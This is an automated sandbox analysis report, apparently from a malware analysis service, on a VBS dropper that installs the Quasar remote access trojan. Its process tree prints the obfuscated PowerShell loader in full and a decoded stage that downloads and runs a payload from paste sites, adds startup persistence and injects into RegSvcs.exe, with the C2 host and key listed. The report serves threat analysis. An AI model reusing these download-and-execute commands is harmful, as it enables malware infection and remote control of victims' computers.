quasar | 440e8cb633be17b4b737685f46d66926ff9e5890b51001c9bf2c46b2ac938b58

Analysis

max time kernel
300s
max time network
287s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
20/03/2024, 20:26

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Routing details.vbs
Size 746KB
Sample240320-y78fcaab52
SHA256 07bc70b67231b8d11d3b8f6da211fff0bb7ad9f47ee1d0ef882a47fa2a0ab30c
MD5 02b7aafaf3609f054f864e144ce52179
SHA1 82b8a24cc1a056f248602fbf37cf4fa45ee4be70
SHA512 56ac99d8ad24a6c69f180d50dbb7244a11cde5a9c4d162ca556a80ba5730b2655be9522ab853a1af98ec565160348a639765f77c09521c5f4dd8b3779b5d642a
SSDEEP 1536:HKtttttttttttttttttttttttttt3ggggggggggggggggggggggggggggggggggp:K
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

quasar office04 spyware trojan

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
https://textbin.net/raw/ezjmofz3s6

Extracted

Family

quasar

Version

1.4.1

Botnet

Office04

crazydns.bumbleshrimp.com:7000

Mutex

1d11448c-a4d9-4fe0-a8b4-08159124ae39

Attributes

encryption_key
41386FD3E7B93BA09EAF2FA232A135070198910B
install_name
Client.exe
log_directory
Logs
reconnect_delay
3000
startup_key
Quasar Client Startup
subdirectory
SubDir

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral4/memory/1724-41-0x0000000000400000-0x0000000000724000-memory.dmp	family_quasar

Blocklisted process makes network request 3 IoCs

flow	pid	Process
10	452	powershell.exe
24	452	powershell.exe
31	452	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\____________________________________________-------.lnk	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 452 set thread context of 1724	452	powershell.exe	98

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
1660	powershell.exe
1660	powershell.exe
452	powershell.exe
452	powershell.exe
4260	powershell.exe
4260	powershell.exe
4260	powershell.exe
452	powershell.exe
452	powershell.exe
452	powershell.exe
452	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1660	powershell.exe
Token: SeDebugPrivilege	452	powershell.exe
Token: SeDebugPrivilege	4260	powershell.exe
Token: SeDebugPrivilege	1724	RegSvcs.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1724	RegSvcs.exe
1724	RegSvcs.exe

Suspicious use of SendNotifyMessage 2 IoCs

pid	Process
1724	RegSvcs.exe
1724	RegSvcs.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 956 wrote to memory of 1660	956	WScript.exe	90
PID 956 wrote to memory of 1660	956	WScript.exe	90
PID 1660 wrote to memory of 452	1660	powershell.exe	92
PID 1660 wrote to memory of 452	1660	powershell.exe	92
PID 452 wrote to memory of 4260	452	powershell.exe	95
PID 452 wrote to memory of 4260	452	powershell.exe	95
PID 452 wrote to memory of 3912	452	powershell.exe	96
PID 452 wrote to memory of 3912	452	powershell.exe	96
PID 452 wrote to memory of 3912	452	powershell.exe	96
PID 452 wrote to memory of 3076	452	powershell.exe	97
PID 452 wrote to memory of 3076	452	powershell.exe	97
PID 452 wrote to memory of 3076	452	powershell.exe	97
PID 452 wrote to memory of 1724	452	powershell.exe	98
PID 452 wrote to memory of 1724	452	powershell.exe	98
PID 452 wrote to memory of 1724	452	powershell.exe	98
PID 452 wrote to memory of 1724	452	powershell.exe	98
PID 452 wrote to memory of 1724	452	powershell.exe	98
PID 452 wrote to memory of 1724	452	powershell.exe	98
PID 452 wrote to memory of 1724	452	powershell.exe	98
PID 452 wrote to memory of 1724	452	powershell.exe	98

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Routing details.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:956
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $MkplqW = 'J🆂🅺🅴🆁🅴🅴Bt🆂🅺🅴🆁🅴🅴HY🆂🅺🅴🆁🅴🅴YgBn🆂🅺🅴🆁🅴🅴GI🆂🅺🅴🆁🅴🅴I🆂🅺🅴🆁🅴🅴🆂🅺🅴🆁🅴🅴9🆂🅺🅴🆁🅴🅴C🆂🅺🅴🆁🅴🅴🆂🅺🅴🆁🅴🅴Jw🆂🅺🅴🆁🅴🅴w🆂🅺🅴🆁🅴🅴DM🆂🅺🅴🆁🅴🅴Jw🆂🅺🅴🆁🅴🅴7🆂🅺🅴🆁🅴🅴CQ🆂🅺🅴🆁🅴🅴egBs🆂🅺🅴🆁🅴🅴H🆂🅺🅴🆁🅴🅴🆂🅺🅴🆁🅴🅴cgB1🆂🅺🅴🆁🅴🅴C🆂🅺🅴🆁🅴🅴🆂🅺🅴🆁🅴🅴PQ🆂🅺🅴🆁🅴🅴g🆂🅺🅴🆁🅴🅴Cc🆂🅺🅴🆁🅴🅴JQBw🆂🅺🅴🆁🅴🅴Ho🆂🅺🅴🆁🅴🅴QQBj🆂🅺🅴🆁🅴🅴E8🆂🅺🅴🆁🅴🅴ZwBJ🆂🅺🅴🆁🅴🅴G4🆂🅺🅴🆁🅴🅴TQBy🆂🅺🅴🆁🅴🅴CU🆂🅺🅴🆁🅴🅴Jw🆂🅺🅴🆁🅴🅴7🆂🅺🅴🆁🅴🅴Fs🆂🅺🅴🆁🅴🅴QgB5🆂🅺🅴🆁🅴🅴HQ🆂🅺🅴🆁🅴🅴ZQBb🆂🅺🅴🆁🅴🅴F0🆂🅺🅴🆁🅴🅴XQ🆂🅺🅴🆁🅴🅴g🆂🅺🅴🆁🅴🅴CQ🆂🅺🅴🆁🅴🅴Z🆂🅺🅴🆁🅴🅴Bo🆂🅺🅴🆁🅴🅴G4🆂🅺🅴🆁🅴🅴dgB1🆂🅺🅴🆁🅴🅴C🆂🅺🅴🆁🅴🅴🆂🅺🅴🆁🅴🅴PQ🆂🅺🅴🆁🅴🅴g🆂🅺🅴🆁🅴🅴Fs🆂🅺🅴🆁🅴🅴cwB5🆂🅺🅴🆁🅴🅴HM🆂🅺🅴🆁🅴🅴d🆂🅺🅴🆁🅴🅴Bl🆂🅺🅴🆁🅴🅴G0🆂🅺🅴🆁🅴🅴LgBD🆂🅺🅴🆁🅴🅴G8🆂🅺🅴🆁🅴🅴bgB2🆂🅺🅴🆁🅴🅴GU🆂🅺🅴🆁🅴🅴cgB0🆂🅺🅴🆁🅴🅴F0🆂🅺🅴🆁🅴🅴Og🆂🅺🅴🆁🅴🅴6🆂🅺🅴🆁🅴🅴EY🆂🅺🅴🆁🅴🅴cgBv🆂🅺🅴🆁🅴🅴G0🆂🅺🅴🆁🅴🅴QgBh🆂🅺🅴🆁🅴🅴HM🆂🅺🅴🆁🅴🅴ZQ🆂🅺🅴🆁🅴🅴2🆂🅺🅴🆁🅴🅴DQ🆂🅺🅴🆁🅴🅴UwB0🆂🅺🅴🆁🅴🅴HI🆂🅺🅴🆁🅴🅴aQBu🆂🅺🅴🆁🅴🅴Gc🆂🅺🅴🆁🅴🅴K🆂🅺🅴🆁🅴🅴🆂🅺🅴🆁🅴🅴g🆂🅺🅴🆁🅴🅴Cg🆂🅺🅴🆁🅴🅴TgBl🆂🅺🅴🆁🅴🅴Hc🆂🅺🅴🆁🅴🅴LQBP🆂🅺🅴🆁🅴🅴GI🆂🅺🅴🆁🅴🅴agBl🆂🅺🅴🆁🅴🅴GM🆂🅺🅴🆁🅴🅴d🆂🅺🅴🆁🅴🅴🆂🅺🅴🆁🅴🅴g🆂🅺🅴🆁🅴🅴E4🆂🅺🅴🆁🅴🅴ZQB0🆂🅺🅴🆁🅴🅴C4🆂🅺🅴🆁🅴🅴VwBl🆂🅺🅴🆁🅴🅴GI🆂🅺🅴🆁🅴🅴QwBs🆂🅺🅴🆁🅴🅴Gk🆂🅺🅴🆁🅴🅴ZQBu🆂🅺🅴🆁🅴🅴HQ🆂🅺🅴🆁🅴🅴KQ🆂🅺🅴🆁🅴🅴u🆂🅺🅴🆁🅴🅴EQ🆂🅺🅴🆁🅴🅴bwB3🆂🅺🅴🆁🅴🅴G4🆂🅺🅴🆁🅴🅴b🆂🅺🅴🆁🅴🅴Bv🆂🅺🅴🆁🅴🅴GE🆂🅺🅴🆁🅴🅴Z🆂🅺🅴🆁🅴🅴BT🆂🅺🅴🆁🅴🅴HQ🆂🅺🅴🆁🅴🅴cgBp🆂🅺🅴🆁🅴🅴G4🆂🅺🅴🆁🅴🅴Zw🆂🅺🅴🆁🅴🅴o🆂🅺🅴🆁🅴🅴C🆂🅺🅴🆁🅴🅴🆂🅺🅴🆁🅴🅴K🆂🅺🅴🆁🅴🅴BO🆂🅺🅴🆁🅴🅴GU🆂🅺🅴🆁🅴🅴dw🆂🅺🅴🆁🅴🅴t🆂🅺🅴🆁🅴🅴E8🆂🅺🅴🆁🅴🅴YgBq🆂🅺🅴🆁🅴🅴GU🆂🅺🅴🆁🅴🅴YwB0🆂🅺🅴🆁🅴🅴C🆂🅺🅴🆁🅴🅴🆂🅺🅴🆁🅴🅴TgBl🆂🅺🅴🆁🅴🅴HQ🆂🅺🅴🆁🅴🅴LgBX🆂🅺🅴🆁🅴🅴GU🆂🅺🅴🆁🅴🅴YgBD🆂🅺🅴🆁🅴🅴Gw🆂🅺🅴🆁🅴🅴aQBl🆂🅺🅴🆁🅴🅴G4🆂🅺🅴🆁🅴🅴d🆂🅺🅴🆁🅴🅴🆂🅺🅴🆁🅴🅴p🆂🅺🅴🆁🅴🅴C4🆂🅺🅴🆁🅴🅴R🆂🅺🅴🆁🅴🅴Bv🆂🅺🅴🆁🅴🅴Hc🆂🅺🅴🆁🅴🅴bgBs🆂🅺🅴🆁🅴🅴G8🆂🅺🅴🆁🅴🅴YQBk🆂🅺🅴🆁🅴🅴FM🆂🅺🅴🆁🅴🅴d🆂🅺🅴🆁🅴🅴By🆂🅺🅴🆁🅴🅴Gk🆂🅺🅴🆁🅴🅴bgBn🆂🅺🅴🆁🅴🅴Cg🆂🅺🅴🆁🅴🅴JwBo🆂🅺🅴🆁🅴🅴HQ🆂🅺🅴🆁🅴🅴d🆂🅺🅴🆁🅴🅴Bw🆂🅺🅴🆁🅴🅴HM🆂🅺🅴🆁🅴🅴Og🆂🅺🅴🆁🅴🅴v🆂🅺🅴🆁🅴🅴C8🆂🅺🅴🆁🅴🅴d🆂🅺🅴🆁🅴🅴Bl🆂🅺🅴🆁🅴🅴Hg🆂🅺🅴🆁🅴🅴d🆂🅺🅴🆁🅴🅴Bi🆂🅺🅴🆁🅴🅴Gk🆂🅺🅴🆁🅴🅴bg🆂🅺🅴🆁🅴🅴u🆂🅺🅴🆁🅴🅴G4🆂🅺🅴🆁🅴🅴ZQB0🆂🅺🅴🆁🅴🅴C8🆂🅺🅴🆁🅴🅴cgBh🆂🅺🅴🆁🅴🅴Hc🆂🅺🅴🆁🅴🅴LwBl🆂🅺🅴🆁🅴🅴Ho🆂🅺🅴🆁🅴🅴agBt🆂🅺🅴🆁🅴🅴G8🆂🅺🅴🆁🅴🅴ZgB6🆂🅺🅴🆁🅴🅴DM🆂🅺🅴🆁🅴🅴cw🆂🅺🅴🆁🅴🅴2🆂🅺🅴🆁🅴🅴Cc🆂🅺🅴🆁🅴🅴KQ🆂🅺🅴🆁🅴🅴g🆂🅺🅴🆁🅴🅴Ck🆂🅺🅴🆁🅴🅴I🆂🅺🅴🆁🅴🅴🆂🅺🅴🆁🅴🅴p🆂🅺🅴🆁🅴🅴Ds🆂🅺🅴🆁🅴🅴WwBz🆂🅺🅴🆁🅴🅴Hk🆂🅺🅴🆁🅴🅴cwB0🆂🅺🅴🆁🅴🅴GU🆂🅺🅴🆁🅴🅴bQ🆂🅺🅴🆁🅴🅴u🆂🅺🅴🆁🅴🅴EE🆂🅺🅴🆁🅴🅴c🆂🅺🅴🆁🅴🅴Bw🆂🅺🅴🆁🅴🅴EQ🆂🅺🅴🆁🅴🅴bwBt🆂🅺🅴🆁🅴🅴GE🆂🅺🅴🆁🅴🅴aQBu🆂🅺🅴🆁🅴🅴F0🆂🅺🅴🆁🅴🅴Og🆂🅺🅴🆁🅴🅴6🆂🅺🅴🆁🅴🅴EM🆂🅺🅴🆁🅴🅴dQBy🆂🅺🅴🆁🅴🅴HI🆂🅺🅴🆁🅴🅴ZQBu🆂🅺🅴🆁🅴🅴HQ🆂🅺🅴🆁🅴🅴R🆂🅺🅴🆁🅴🅴Bv🆂🅺🅴🆁🅴🅴G0🆂🅺🅴🆁🅴🅴YQBp🆂🅺🅴🆁🅴🅴G4🆂🅺🅴🆁🅴🅴LgBM🆂🅺🅴🆁🅴🅴G8🆂🅺🅴🆁🅴🅴YQBk🆂🅺🅴🆁🅴🅴Cg🆂🅺🅴🆁🅴🅴J🆂🅺🅴🆁🅴🅴Bk🆂🅺🅴🆁🅴🅴Gg🆂🅺🅴🆁🅴🅴bgB2🆂🅺🅴🆁🅴🅴HU🆂🅺🅴🆁🅴🅴KQ🆂🅺🅴🆁🅴🅴u🆂🅺🅴🆁🅴🅴Ec🆂🅺🅴🆁🅴🅴ZQB0🆂🅺🅴🆁🅴🅴FQ🆂🅺🅴🆁🅴🅴eQBw🆂🅺🅴🆁🅴🅴GU🆂🅺🅴🆁🅴🅴K🆂🅺🅴🆁🅴🅴🆂🅺🅴🆁🅴🅴n🆂🅺🅴🆁🅴🅴E0🆂🅺🅴🆁🅴🅴YQBy🆂🅺🅴🆁🅴🅴GE🆂🅺🅴🆁🅴🅴YwBh🆂🅺🅴🆁🅴🅴Gk🆂🅺🅴🆁🅴🅴YgBv🆂🅺🅴🆁🅴🅴C4🆂🅺🅴🆁🅴🅴QwBs🆂🅺🅴🆁🅴🅴GE🆂🅺🅴🆁🅴🅴cwBz🆂🅺🅴🆁🅴🅴DE🆂🅺🅴🆁🅴🅴Jw🆂🅺🅴🆁🅴🅴p🆂🅺🅴🆁🅴🅴C4🆂🅺🅴🆁🅴🅴RwBl🆂🅺🅴🆁🅴🅴HQ🆂🅺🅴🆁🅴🅴TQBl🆂🅺🅴🆁🅴🅴HQ🆂🅺🅴🆁🅴🅴a🆂🅺🅴🆁🅴🅴Bv🆂🅺🅴🆁🅴🅴GQ🆂🅺🅴🆁🅴🅴K🆂🅺🅴🆁🅴🅴🆂🅺🅴🆁🅴🅴n🆂🅺🅴🆁🅴🅴E0🆂🅺🅴🆁🅴🅴cwBx🆂🅺🅴🆁🅴🅴EI🆂🅺🅴🆁🅴🅴SQBi🆂🅺🅴🆁🅴🅴Fk🆂🅺🅴🆁🅴🅴Jw🆂🅺🅴🆁🅴🅴p🆂🅺🅴🆁🅴🅴C4🆂🅺🅴🆁🅴🅴SQBu🆂🅺🅴🆁🅴🅴HY🆂🅺🅴🆁🅴🅴bwBr🆂🅺🅴🆁🅴🅴GU🆂🅺🅴🆁🅴🅴K🆂🅺🅴🆁🅴🅴🆂🅺🅴🆁🅴🅴k🆂🅺🅴🆁🅴🅴G4🆂🅺🅴🆁🅴🅴dQBs🆂🅺🅴🆁🅴🅴Gw🆂🅺🅴🆁🅴🅴L🆂🅺🅴🆁🅴🅴🆂🅺🅴🆁🅴🅴g🆂🅺🅴🆁🅴🅴Fs🆂🅺🅴🆁🅴🅴bwBi🆂🅺🅴🆁🅴🅴Go🆂🅺🅴🆁🅴🅴ZQBj🆂🅺🅴🆁🅴🅴HQ🆂🅺🅴🆁🅴🅴WwBd🆂🅺🅴🆁🅴🅴F0🆂🅺🅴🆁🅴🅴I🆂🅺🅴🆁🅴🅴🆂🅺🅴🆁🅴🅴o🆂🅺🅴🆁🅴🅴Cc🆂🅺🅴🆁🅴🅴M🆂🅺🅴🆁🅴🅴🆂🅺🅴🆁🅴🅴v🆂🅺🅴🆁🅴🅴HE🆂🅺🅴🆁🅴🅴TQ🆂🅺🅴🆁🅴🅴0🆂🅺🅴🆁🅴🅴D🆂🅺🅴🆁🅴🅴🆂🅺🅴🆁🅴🅴WQ🆂🅺🅴🆁🅴🅴v🆂🅺🅴🆁🅴🅴HI🆂🅺🅴🆁🅴🅴LwBl🆂🅺🅴🆁🅴🅴GU🆂🅺🅴🆁🅴🅴LgBl🆂🅺🅴🆁🅴🅴HQ🆂🅺🅴🆁🅴🅴cwBh🆂🅺🅴🆁🅴🅴H🆂🅺🅴🆁🅴🅴🆂🅺🅴🆁🅴🅴Lw🆂🅺🅴🆁🅴🅴v🆂🅺🅴🆁🅴🅴Do🆂🅺🅴🆁🅴🅴cwBw🆂🅺🅴🆁🅴🅴HQ🆂🅺🅴🆁🅴🅴d🆂🅺🅴🆁🅴🅴Bo🆂🅺🅴🆁🅴🅴Cc🆂🅺🅴🆁🅴🅴I🆂🅺🅴🆁🅴🅴🆂🅺🅴🆁🅴🅴s🆂🅺🅴🆁🅴🅴C🆂🅺🅴🆁🅴🅴🆂🅺🅴🆁🅴🅴J🆂🅺🅴🆁🅴🅴B6🆂🅺🅴🆁🅴🅴Gw🆂🅺🅴🆁🅴🅴c🆂🅺🅴🆁🅴🅴By🆂🅺🅴🆁🅴🅴HU🆂🅺🅴🆁🅴🅴I🆂🅺🅴🆁🅴🅴🆂🅺🅴🆁🅴🅴s🆂🅺🅴🆁🅴🅴C🆂🅺🅴🆁🅴🅴🆂🅺🅴🆁🅴🅴JwBf🆂🅺🅴🆁🅴🅴F8🆂🅺🅴🆁🅴🅴XwBf🆂🅺🅴🆁🅴🅴F8🆂🅺🅴🆁🅴🅴XwBf🆂🅺🅴🆁🅴🅴F8🆂🅺🅴🆁🅴🅴XwBf🆂🅺🅴🆁🅴🅴F8🆂🅺🅴🆁🅴🅴XwBf🆂🅺🅴🆁🅴🅴F8🆂🅺🅴🆁🅴🅴XwBf🆂🅺🅴🆁🅴🅴F8🆂🅺🅴🆁🅴🅴XwBf🆂🅺🅴🆁🅴🅴F8🆂🅺🅴🆁🅴🅴XwBf🆂🅺🅴🆁🅴🅴F8🆂🅺🅴🆁🅴🅴XwBf🆂🅺🅴🆁🅴🅴F8🆂🅺🅴🆁🅴🅴XwBf🆂🅺🅴🆁🅴🅴F8🆂🅺🅴🆁🅴🅴XwBf🆂🅺🅴🆁🅴🅴F8🆂🅺🅴🆁🅴🅴XwBf🆂🅺🅴🆁🅴🅴F8🆂🅺🅴🆁🅴🅴XwBf🆂🅺🅴🆁🅴🅴F8🆂🅺🅴🆁🅴🅴XwBf🆂🅺🅴🆁🅴🅴F8🆂🅺🅴🆁🅴🅴XwBf🆂🅺🅴🆁🅴🅴F8🆂🅺🅴🆁🅴🅴LQ🆂🅺🅴🆁🅴🅴t🆂🅺🅴🆁🅴🅴C0🆂🅺🅴🆁🅴🅴LQ🆂🅺🅴🆁🅴🅴t🆂🅺🅴🆁🅴🅴C0🆂🅺🅴🆁🅴🅴LQ🆂🅺🅴🆁🅴🅴n🆂🅺🅴🆁🅴🅴Cw🆂🅺🅴🆁🅴🅴I🆂🅺🅴🆁🅴🅴🆂🅺🅴🆁🅴🅴k🆂🅺🅴🆁🅴🅴G0🆂🅺🅴🆁🅴🅴dgBi🆂🅺🅴🆁🅴🅴Gc🆂🅺🅴🆁🅴🅴Yg🆂🅺🅴🆁🅴🅴s🆂🅺🅴🆁🅴🅴C🆂🅺🅴🆁🅴🅴🆂🅺🅴🆁🅴🅴Jw🆂🅺🅴🆁🅴🅴x🆂🅺🅴🆁🅴🅴Cc🆂🅺🅴🆁🅴🅴L🆂🅺🅴🆁🅴🅴🆂🅺🅴🆁🅴🅴g🆂🅺🅴🆁🅴🅴Cc🆂🅺🅴🆁🅴🅴UgBv🆂🅺🅴🆁🅴🅴GQ🆂🅺🅴🆁🅴🅴YQ🆂🅺🅴🆁🅴🅴n🆂🅺🅴🆁🅴🅴C🆂🅺🅴🆁🅴🅴🆂🅺🅴🆁🅴🅴KQ🆂🅺🅴🆁🅴🅴p🆂🅺🅴🆁🅴🅴Ds🆂🅺🅴🆁🅴🅴';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $MkplqW.replace('🆂🅺🅴🆁🅴🅴','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\Admin\AppData\Local\Temp\Routing details.vbs');powershell -command $KByHL;
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1660
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$mvbgb = '03';$zlpru = 'C:\Users\Admin\AppData\Local\Temp\Routing details.vbs';[Byte[]] $dhnvu = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString( (New-Object Net.WebClient).DownloadString('https://textbin.net/raw/ezjmofz3s6') ) );[system.AppDomain]::CurrentDomain.Load($dhnvu).GetType('Maracaibo.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('0/qM40Y/r/ee.etsap//:sptth' , $zlpru , '____________________________________________-------', $mvbgb, '1', 'Roda' ));"
    3⤵
    - Blocklisted process makes network request
    - Drops startup file
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:452
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe Copy-Item 'C:\Users\Admin\AppData\Local\Temp\Routing details.vbs' -Destination 'C:\Users\Admin\AppData\Local\Temp\'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4260
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
      4⤵
      PID:3912
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
      4⤵
      PID:3076
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      PID:1724

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
MD5 6cf293cb4d80be23433eecf74ddb5503
SHA1 24fe4752df102c2ef492954d6b046cb5512ad408
SHA512 0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc
MD5 d8b9a260789a22d72263ef3bb119108c
SHA1 376a9bd48726f422679f2cd65003442c0b6f6dd5
SHA512 550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_q4jeiac1.ouh.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_q4jeiac1.ouh.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

memory/452-24-0x00000213ACD30000-0x00000213ACD3A000-memory.dmp

Download

memory/452-14-0x00000213ACDC0000-0x00000213ACDD0000-memory.dmp

Download

memory/452-13-0x00007FF99C960000-0x00007FF99D421000-memory.dmp

Download

memory/452-40-0x00000213ACD70000-0x00000213ACD7A000-memory.dmp

Download

memory/452-45-0x00007FF99C960000-0x00007FF99D421000-memory.dmp

Download

memory/1660-12-0x000002C27BC10000-0x000002C27BC20000-memory.dmp

Download

memory/1660-1-0x000002C27BEC0000-0x000002C27BEE2000-memory.dmp

Download

memory/1660-49-0x00007FF99C960000-0x00007FF99D421000-memory.dmp

Download

memory/1660-10-0x00007FF99C960000-0x00007FF99D421000-memory.dmp

Download

memory/1660-11-0x000002C27BC10000-0x000002C27BC20000-memory.dmp

Download

memory/1724-48-0x0000000075020000-0x00000000757D0000-memory.dmp

Download

memory/1724-54-0x0000000006990000-0x0000000006FA8000-memory.dmp

Download

memory/1724-63-0x0000000005330000-0x0000000005340000-memory.dmp

Download

memory/1724-62-0x0000000075020000-0x00000000757D0000-memory.dmp

Download

memory/1724-61-0x0000000007A60000-0x0000000007AC6000-memory.dmp

Download

memory/1724-50-0x0000000005940000-0x0000000005EE4000-memory.dmp

Download

memory/1724-51-0x0000000005430000-0x00000000054C2000-memory.dmp

Download

memory/1724-52-0x0000000005330000-0x0000000005340000-memory.dmp

Download

memory/1724-53-0x00000000053A0000-0x00000000053AA000-memory.dmp

Download

memory/1724-41-0x0000000000400000-0x0000000000724000-memory.dmp

Download

memory/1724-55-0x0000000006520000-0x0000000006570000-memory.dmp

Download

memory/1724-56-0x0000000006780000-0x0000000006832000-memory.dmp

Download

memory/1724-59-0x0000000007950000-0x0000000007962000-memory.dmp

Download

memory/1724-60-0x00000000079B0000-0x00000000079EC000-memory.dmp

Download

memory/4260-26-0x00007FF99C960000-0x00007FF99D421000-memory.dmp

Download

memory/4260-27-0x000001A39EE50000-0x000001A39EE60000-memory.dmp

Download

memory/4260-39-0x00007FF99C960000-0x00007FF99D421000-memory.dmp

Download